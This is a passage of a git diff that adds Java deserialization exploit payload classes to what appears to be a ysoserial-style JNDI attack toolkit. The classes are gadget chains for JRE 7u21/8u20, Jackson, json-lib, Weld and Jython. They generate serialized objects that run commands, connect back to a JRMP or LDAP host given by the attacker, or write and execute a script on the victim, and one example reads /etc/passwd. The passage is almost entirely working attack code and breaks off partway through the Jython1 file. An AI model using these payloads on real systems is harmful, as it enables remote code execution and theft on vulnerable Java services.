TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); + beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); + TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); + beanContextSupportData.addData(Integer.valueOf(1)); + beanContextSupportData.addData(handler); + beanContextSupportData.addData(Integer.valueOf(0), true); + beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); + TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); + beanContextChildSupportData.addData(obj); + obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); + obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); + return obj; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); + } + + public Object getObject(String command) throws Exception { + Serialization ser = new Serialization(); + Object templates = makeTemplates(command); + HashMap map = new HashMap(); + map.put("f5a5a608", templates); + TCObject handler = makeHandler(map, ser); + TCObject linkedHashset = new TCObject(ser); + TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); + TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); + TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); + hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); + TCObject.ObjectData hashsetData = new TCObject.ObjectData(); + hashsetData.addData(makeBeanContextSupport(handler, ser)); + hashsetData.addData(Integer.valueOf(10), true); + hashsetData.addData(Float.valueOf(1.0F), true); + hashsetData.addData(Integer.valueOf(2), true); + hashsetData.addData(templates); + TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); + hashsetData.addData(proxy); + linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); + linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); + ser.addObject(linkedHashset); + + if (JYsoMode) { + ser.write(System.out); + System.exit(0); + } + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ser.write(out); + byte[] bytes = out.toByteArray(); + return bytes; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java new file mode 100644 index 0000000..25d548c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java @@ -0,0 +1,72 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.utils.ByteUtil; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.Serializer; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextSupport; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.Map; + + +public class JRE8u20_2 implements ObjectPayload { + public static Class newInvocationHandlerClass() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + + " os.defaultWriteObject();\n" + + " }", clazz); + clazz.addMethod(writeObject); + Class c = clazz.toClass(); + return c; + } + + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + Class ihClass = newInvocationHandlerClass(); + Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); + constructor.setAccessible(true); + InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); + + Reflections.setFieldValue(ih, "type", Templates.class); + Templates proxy = Gadgets.createProxy(ih, Templates.class); + + BeanContextSupport b = new BeanContextSupport(); + Reflections.setFieldValue(b, "serializable", 1); + HashMap tmpMap = new HashMap<>(); + tmpMap.put(ih, null); + Reflections.setFieldValue(b, "children", tmpMap); + + + LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy + set.add(b); + set.add(templates); + set.add(proxy); + + HashMap hm = new HashMap(); + hm.put("f5a5a608", templates); + Reflections.setFieldValue(ih, "memberValues", hm); + + byte[] ser = Serializer.serialize(set); + + byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; + + int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); + ser = ByteUtil.deleteAt(ser, i); // delete 0x78 + ser = ByteUtil.deleteAt(ser, i); // delete 0x70 + + return ser; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java new file mode 100644 index 0000000..487d0ba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java @@ -0,0 +1,69 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +/** + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + *

+ * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPClient implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String host; + int port; + int sep = command.indexOf(':'); + if (sep < 0) { + port = new Random().nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + Registry.class + }, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java new file mode 100644 index 0000000..2218eeb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java @@ -0,0 +1,35 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.activation.Activator; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Activator implements ObjectPayload { + @Override + public Activator getObject(String command) throws Exception { + String host; + int port, sep = command.indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java new file mode 100644 index 0000000..d00432d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java @@ -0,0 +1,31 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Obj implements ObjectPayload { + @Override + public RemoteObjectInvocationHandler getObject(String command) throws Exception { + String host; + int port, sep = command.indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return obj; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java new file mode 100644 index 0000000..f32fbda --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Reflections; +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - Port number to open listener to + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPListener implements ObjectPayload { + @Override + public UnicastRemoteObject getObject(String command) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ + RemoteRef.class + }, new Object[]{ + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JSON1.java b/src/main/java/com/qi4l/jndi/gadgets/JSON1.java new file mode 100644 index 0000000..45157be --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JSON1.java @@ -0,0 +1,90 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import net.sf.json.JSONObject; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.management.openmbean.*; +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + + +/** + * A bit more convoluted example + *

+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes", "unchecked", "restriction" +}) +@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", + "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", + "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.MBECHLER}) +public class JSON1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tql; + tql = Gadgets.createTemplatesImpl(command); + Class ifaces = Templates.class; + CompositeType rt = new CompositeType("a", "b", + new String[]{"a"}, + new String[]{"a"}, + new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} + ); + TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(tql); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); + Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jackson.java b/src/main/java/com/qi4l/jndi/gadgets/Jackson.java new file mode 100644 index 0000000..9962eab --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jackson.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; + + +public class Jackson implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + ClassPool pool = ClassPool.getDefault(); + //pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode"))); + try { + CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + // 将修改后的CtClass加载至当前线程的上下文类加载器中 + ctClass.toClass(); + } catch (Exception EE) { + + } + + + POJONode node = new POJONode(template); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Reflections.setFieldValue(badAttributeValueExpException, "val", node); + + HashMap hashMap = new HashMap(); + hashMap.put(template, badAttributeValueExpException); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java new file mode 100644 index 0000000..5bff074 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java @@ -0,0 +1,57 @@ +package com.qi4l.jndi.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import javax.naming.CompositeName; +import javax.naming.directory.BasicAttribute; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class JacksonLdapAttr implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + + + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + + try { + Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); + clazz_cons.setAccessible(true); + BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); + Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); + bcu_fi.setAccessible(true); + bcu_fi.set(la, command); + CompositeName cn = new CompositeName(); + cn.add("a"); + cn.add("b"); + Field rdn_fi = clazz.getDeclaredField("rdn"); + rdn_fi.setAccessible(true); + rdn_fi.set(la, cn); + POJONode node = new POJONode(la); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, node); + return val; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java new file mode 100644 index 0000000..498970c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java @@ -0,0 +1,79 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java new file mode 100644 index 0000000..e17a88d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.LinkedHashSet; + + +/** + * Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has + * the same JRE version requirements. + *

+ * See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + *

+ * Call tree: + *

+ * LinkedHashSet.readObject() + * LinkedHashSet.add() + * ... + * TemplatesImpl.hashCode() (X) + * LinkedHashSet.add() + * ... + * Proxy(Templates).hashCode() (X) + * AnnotationInvocationHandler.invoke() (X) + * AnnotationInvocationHandler.hashCodeImpl() (X) + * String.hashCode() (0) + * AnnotationInvocationHandler.memberValueHashCode() (X) + * TemplatesImpl.hashCode() (X) + * Proxy(Templates).equals() + * AnnotationInvocationHandler.invoke() + * AnnotationInvocationHandler.equalsImpl() + * Method.invoke() + * ... + * TemplatesImpl.getOutputProperties() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * ClassLoader.defineClass() + * Class.newInstance() + * ... + * MaliciousClass.() + * ... + * Runtime.exec() + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies() +@Authors({Authors.FROHOFF}) +public class Jdk7u21 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + // hashCode 为 0 的字符串 + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructors()[0]; + constructor.setAccessible(true); + InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); + + // 反射写入 AnnotationInvocationHandler 的 type + Reflections.setFieldValue(tempHandler, "type", Templates.class); + + // 为 Templates 创建动态代理 + Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), + new Class[]{Templates.class}, tempHandler); + + // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + // 反射将 _auxClasses 和 _class 修改为 null + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + // 向 map 中替换 tmpl 对象 + map.put(zeroHashCodeStr, templates); + + return set; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java new file mode 100644 index 0000000..6d79271 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.rmi.MarshalledObject; +import java.util.HashMap; +import java.util.LinkedHashSet; + + +@Authors({"potats0"}) +public class Jdk7u21variant implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); + + MarshalledObject marshalledObject = new MarshalledObject(set); + Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); + + set = new LinkedHashSet(); // maintain order + set.add(marshalledObject); + set.add(proxy); + map.put(zeroHashCodeStr, marshalledObject); // swap in real object + return set; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jython1.java b/src/main/java/com/qi4l/jndi/gadgets/Jython1.java new file mode 100644 index 0000000..e7182e8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jython1.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.io.File; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + *

+ * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + *

+ * ; + *

+ * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + *

+ * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + *

+ * In the above example, if "read_etc_passwd.py" simply contained the string: + *

+ * raise Exception(open('/etc/passwd', 'r').read()) + *

+ * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"org.python:jython-standalone:2.5.2"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class Jython1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + + String[] paths = command.split(":"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + 